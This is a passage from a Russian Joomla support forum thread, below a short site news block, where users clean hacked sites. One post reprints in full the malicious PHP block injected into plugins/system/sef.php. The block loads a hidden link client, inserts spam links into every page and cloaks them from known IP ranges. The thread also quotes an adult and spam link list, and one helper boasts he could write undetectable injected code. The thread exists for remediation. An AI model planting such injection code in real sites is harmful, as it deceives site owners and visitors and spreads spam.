Новости Joomla

Вышли релизы безопасности Joomla 6.1.3 и Joomla 5.4.8

Релиз безопасности Joomla 6.1.3 и Joomla 5.4.8

Проект Joomla! рад сообщить о выходе Joomla 6.1.3 и Joomla 5.4.8. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

Joomla 5+ пакет для интеграции с API Почты России: нормализация данных, расчёт доставки, создание отправлений, партии, документы, возвраты, поиск отделений, справочники и SOAP-отслеживание.

v.3.0.0. Что нового?
Это дальнейшее развитие ранее закрытой Joomla-библиотеки для работы с API сервиса Отправка (для бизнеса) Почты России. Поэтому версия не 1.0.0, а 3.0.0.

Сейчас эта библиотека ушла от собственных реализаций и стала Joomla-обёрткой известного PHP SDK от Lapay Group.

Возможности библиотеки.
- получение настроек аккаунта, точек сдачи и текущего остатка запросов к API;
- нормализация адресов, ФИО и телефонов перед созданием отправления;
- расчёт тарифа и срока доставки;
- создание, поиск, изменение, удаление и возврат заказов в состояние «Новые»;
- проверка надёжности получателя;
- создание партий, просмотр партий и заказов внутри партии;
- генерация пакета печатных документов и формы Ф103;
- создание, изменение и удаление возвратных отправлений;
- поиск отделений по индексу, адресу и координатам, получение сервисов отделения;
- локальный список стран;
- SOAP-отслеживание операций по РПО и работа с билетами пакетного трекинга.

👩‍💻 Joomla-возможности.
В пакете библиотеки WT Otpravkapochtaru есть поля Joomla Form для расширений. Они позволяют работать в интерфейсе Joomla с некоторыми типами данных, получаемых по API из вашего личного кабинета в ЛК Почты России для бизнеса.
На данный момент в библиотеке доступны 3 поля списков, которые отображают доступные в аккаунте ОПС, типы и категории отправлений.
Поддерживаются зависимые списки: значение одного поля обновляется при изменении другого.

Системные требования.
Системные требования в основном связаны с системными требованиями апстрима библиотеки - LapayGroup PHP SDK.
- Joomla 5+
- PHP 8.3+
- Расширения PHP:
-- ext-mbstring
-- ext-simplexml
-- ext-soap (опционально, для трекинга)
-- ext-zip

Ссылки:
- Страница расширения
- GitHub библиотеки и документация

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 56 Ответов
  • 14267 Просмотров
*

busik

  • Захожу иногда
  • 186
  • 7 / 0
Еще парочку... :)
« Ответ #30 : 30.10.2014, 16:20:35 »
Еще парочку (с) сегодня ... поймал и убил :) оба сидели в темплейте, содержали ссылки на порносайты и т.д.
*

ander_axel

  • Осваиваюсь на форуме
  • 22
  • 1 / 0
В папку с шаблонами я ложу вот такой htaccess работает все на ура, ложу его во все папки кроме administrator

а что можете предложить для папки media? Если туда положить, то перестают показываться мелкие изображения в админке (Joomla 3.3.6).
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
посмотрите какие расширения изображений в админке не отображаются, если они отсутствуют в .htaccess, то допишите...
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
winstrool
Цитировать
Цитата: AlekVolsk от 28.10.2014, 14:00:51
Бейсик-авторизация - слышал. но не знаю. что это.
В корень админки ложешь .htaccess со следущим содержанием:
Цитировать
AuthName "Access Denied"
AuthType Basic
AuthUserFile /[ПОЛНЫЙ ПУТЬ ДО АДМИНКИ]/administrator/.htpasswd
require valid-user
а затем ложим рядышком .htpasswd который можно сгенерировать здесь _ttp://www.htaccesstools.com/htpasswd-generator/
к примеру логин:пасс admin -> admin:$apr1$ttYMJi8C$gCJwuIsCdAZYOKVdpa4OO/
Не пойму а как это работать будет? Что это дает? И как понять [ПОЛНЫЙ ПУТЬ ДО АДМИНКИ] адрес сайта что-ли?
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
winstroolНе пойму а как это работать будет? Что это дает? И как понять [ПОЛНЫЙ ПУТЬ ДО АДМИНКИ] адрес сайта что-ли?
работает как Basic access authentication
http://en.wikipedia.org/wiki/Basic_access_authentication
вот почитать
https://ru.wikipedia.org/wiki/.htpasswd
https://ru.wikipedia.org/wiki/.htaccess
полный путь до папки administrator это путь к папке на сервере можете посмотреть если не знаете как в панели управления движка путь до папок tmp или logs, .htpasswd можно ложить в любую из папок и правильно будет положить его выше корневой папки сайта

а что у хостера нет в панели ограничения на папку поставить?
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Цитировать
а что у хостера нет в панели ограничения на папку поставить?
Изменить атрибуты? это?
Или ограничение доступа к директории?
« Последнее редактирование: 21.11.2014, 13:39:25 от dimat84 »
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Или ограничение доступа к директории?
вот это
-выбираете директорию
-назначаете её пользователя и пас
это практически на любом хосте сейчас возможно
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Спасибо
Пас? это пароль?  ^-^
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Спасибо за помощь flyingspook . Сделал, всё работает  ^-^
*

Oder

  • Новичок
  • 7
  • 0 / 0
Только что с админом уловили что от пострадавшего сайта идут невидимые ссылки на порносайты, выводились в левом нижнем углу сайта. Покопался в темплейтах (их там работает два), нашел следующее:

В CSS файле в конце вписан код, делающий показываемые линки невидимыми (класс .ssil2)

В папке images (в темплейтах) найдены четыре файла:

1. img.jpg - внутри код в encode Base64
2. simple.jpg - внутри то же самое

оба NOD32 идентифицируются как вирусы, как только включился, сразу их убил (я его временно отключал). PHP код вызова этих файлов был врезан внизу файла index.php перед </body>. Кстати, он-лайн тестер вирусов https://www.virustotal.com/ проверял этот сайт и не пикнул.

3. ML_lcode.php - собственно код
4. [sitename].ru.links.dat - список ссылок

Последний содержал перечисление ссылок типа:

%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://yurist116.info/'>Ищу бесплатнои юридические услуги в Казани</a>__END__
%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://www.personal-exclusive.ru/'>Yjdjcnb hr v в Самаре</a>__END__
%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://www.zavod-tkz.ru/kozlovoy.php'>Смета на монтаж козлового крана в Москве</a>__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__Аппетитные голые <a href="http://www.kisok.net/">проститутки</a> с чулками и бикини заставят Вас играть по их правилам.__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__<a href='http://www.malchiki.nl'>Элитные парни по вызову</a> 24 часа в сутки.__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__<a href='http://gay.malchiki.nl'>гей интим услуги Москва</a> обявления__END__
%2Fcomponent%2Foption%2Ccom_contact%2Fcatid%2C43%2FItemid%2C3%2F__LINK__<a href='http://apollo-zmk.ru/products/stroitelnye-metallokonstrukcii/balki/'>балки и прогоны</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://alukonkazan.ru/vkhodnye-gruppy.html'>Изготовление входные группы Казань</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://acm4.ru/vibroplita-vaker-pokupka'>виброплита бензиновая</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://www.sembi.ru/registracija-ooo-v-svao-sviblovo.html'>регистрация Ооо бабушкинская</a>, которым нужна гарантированная и__END__

и далее такого добра про аппетитных толстушек, девок по вызову и т.д на 64к

Последнее обновление этого файла было 15 мин назад (на момент вычищения).

Вот, на сегодняшний вечер/ночь пока все успехи :)
Здравствуйте,
Обнаружил такую же проблему с этими же вирусами (у меня Joomla 1.5.26), только они в папке TinyMCE, создав поддиректории с названием data/data,  прописались. Но не могу ее никак решить, уже и айболитом прошелся, он кроме этих файлов ничего подозрительного не находит. Сносишь эти файлы, ничего не меняется, сносишь папку, в которой еще есть файл index.php  - сайт пропадает. В индекс файле темплейта левых кодов нет, вернее был между надписями center end - footer start, его снес и еще пару левых файлов в CSS нашел, их посносил, но ничего не изменилось. Как пропадал сайт, если удалять найденные вирусы, так и пропадает.

Можете чем-нибудь помочь?  ! !
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Проверь на подключение в других файлах, более всего в системных, этого файла.
Цитировать
сносишь папку, в которой еще есть файл index.php  - сайт пропадает.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
*

Oder

  • Новичок
  • 7
  • 0 / 0
Проверь на подключение в других файлах, более всего в системных, этого файла.
Искал уже по файлам, но пока ничего не нашел. В каких файлах обычно такое прописывается?
*

Oder

  • Новичок
  • 7
  • 0 / 0
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
error log на серваке пустой, как делать поиск по функции?
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
egrep -H "function_name" `find . -type f -name "*.php" -print`
где function_name название искомой функции, error_log можно включить в php.ini если он отключен или через .htaccess
http://www.aloha.kiev.ua/PHP-Error-htaccess-Nastrojki.html
*

Oder

  • Новичок
  • 7
  • 0 / 0
egrep -H "function_name" `find . -type f -name "*.php" -print`
где function_name название искомой функции, error_log можно включить в php.ini если он отключен или через .htaccess
http://www.aloha.kiev.ua/PHP-Error-htaccess-Nastrojki.html
Сложновато для меня, но буду пробовать!
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
А проще обратиться к хостеру- чтобы включил логирование, если в панельке хостинга нет кнопки
*

Oder

  • Новичок
  • 7
  • 0 / 0
А проще обратиться к хостеру- чтобы включил логирование, если в панельке хостинга нет кнопки
Кнопки нет, хостер говорит, что отключает логи, потому что много места занимают лог-файлы. Завтра свяжусь с ними. Спасибо, но пока еще не понял, как все будет.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Кнопки нет, хостер говорит, что отключает логи, потому что много места занимают лог-файлы. Завтра свяжусь с ними. Спасибо, но пока еще не понял, как все будет.
Бегите от такого хостера
*

wishlight

  • Гуру
  • 5098
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
лол... у меня логи 20 сайтов 200 метров по моему за хз сколько времени... Жлоб какой...
*

Oder

  • Новичок
  • 7
  • 0 / 0
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться

Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.

"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error:  require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"

Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:

/*<mainlink>*/
               $bodyText = JResponse::getBody();                                 
               if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
               $link = $result[1];
               }       
               $link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);                 
               $bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
               JResponse::setBody($bodyText);
               if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
               JResponse::setHeader('Content-Type', "text/css", true);
               JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
               }
          $dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
          require_once($dir_path . 'index.php');
          $o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
          $o['charset'] = JFactory::getDocument()->getCharset();
          $client_lnk = new MLClient($o);   
          $bodyText = JResponse::getBody();
         
          $dirPath = realpath("."). "/components/com_content";
        if (file_exists($dirPath . "/stat2.log")) {
           $ips = file($dirPath . "/stat2.log");
           $iplist_cnt = count($ips);
           $ip = $_SERVER["REMOTE_ADDR"];         
           $min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
           $max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

           for($i = 0; $i < $iplist_cnt; $i++) {
            $needle = trim($ips[$i]);
            if (($needle >= $min) AND ($needle <= $max)) {
              $iKnowYou = true;
              break;
            }
           }
        } else {
         $iKnowYou = true;
        }
            $links = $client_lnk->build_links();
          if (!$iKnowYou) {           
               $bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
          }
                     
          JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
          /*</mainlink>*/

Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!

Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.

Спасибо за помощь!
*

wishlight

  • Гуру
  • 5098
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
 ::) Не странно совсем. А они все лучше код меняют.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.

"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error:  require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"

Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:

/*<mainlink>*/
               $bodyText = JResponse::getBody();                                 
               if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
               $link = $result[1];
               }       
               $link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);                 
               $bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
               JResponse::setBody($bodyText);
               if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
               JResponse::setHeader('Content-Type', "text/css", true);
               JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
               }
          $dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
          require_once($dir_path . 'index.php');
          $o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
          $o['charset'] = JFactory::getDocument()->getCharset();
          $client_lnk = new MLClient($o);   
          $bodyText = JResponse::getBody();
         
          $dirPath = realpath("."). "/components/com_content";
        if (file_exists($dirPath . "/stat2.log")) {
           $ips = file($dirPath . "/stat2.log");
           $iplist_cnt = count($ips);
           $ip = $_SERVER["REMOTE_ADDR"];         
           $min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
           $max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

           for($i = 0; $i < $iplist_cnt; $i++) {
            $needle = trim($ips[$i]);
            if (($needle >= $min) AND ($needle <= $max)) {
              $iKnowYou = true;
              break;
            }
           }
        } else {
         $iKnowYou = true;
        }
            $links = $client_lnk->build_links();
          if (!$iKnowYou) {           
               $bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
          }
                     
          JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
          /*</mainlink>*/

Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!

Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.

Спасибо за помощь!
С вас плюсик))) Есть еще такая штука, как дата модификации и создания файла, и есть такая штука что дату модификации менять можно, средствами PHP, а дату создания нет, вот вы и увидели дату модификации на момент обновления...
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
::) Не странно совсем. А они все лучше код меняют.
я вам могу такой код составить, что не один АВ не спалит и айболит рядом стоять не будет)))
*

wishlight

  • Гуру
  • 5098
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Цитировать
$o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';

Это тоже удастся спрятать?
*

Oder

  • Новичок
  • 7
  • 0 / 0
С вас плюсик)))
Пока нет возможности ставить. Странные ограничения для новичков на форуме, типа их благодарность не котируется  ;D
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Это тоже удастся спрятать?
если есть интирес, то да!
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Сканируем сайты! Сканер сайта или Shell and Backdoor Script Finder

Автор flyingspook

Ответов: 304
Просмотров: 216503
Последний ответ 29.06.2026, 10:03:01
от PaLyCH
Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 82084
Последний ответ 30.08.2023, 12:53:33
от SeBun
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 6747
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
На сайте появился вирус

Автор Lifar

Ответов: 3
Просмотров: 2076
Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Регистрируются боты на сайте непрерывно.

Автор Stich SPb

Ответов: 27
Просмотров: 15162
Последний ответ 22.02.2021, 17:42:48
от soty20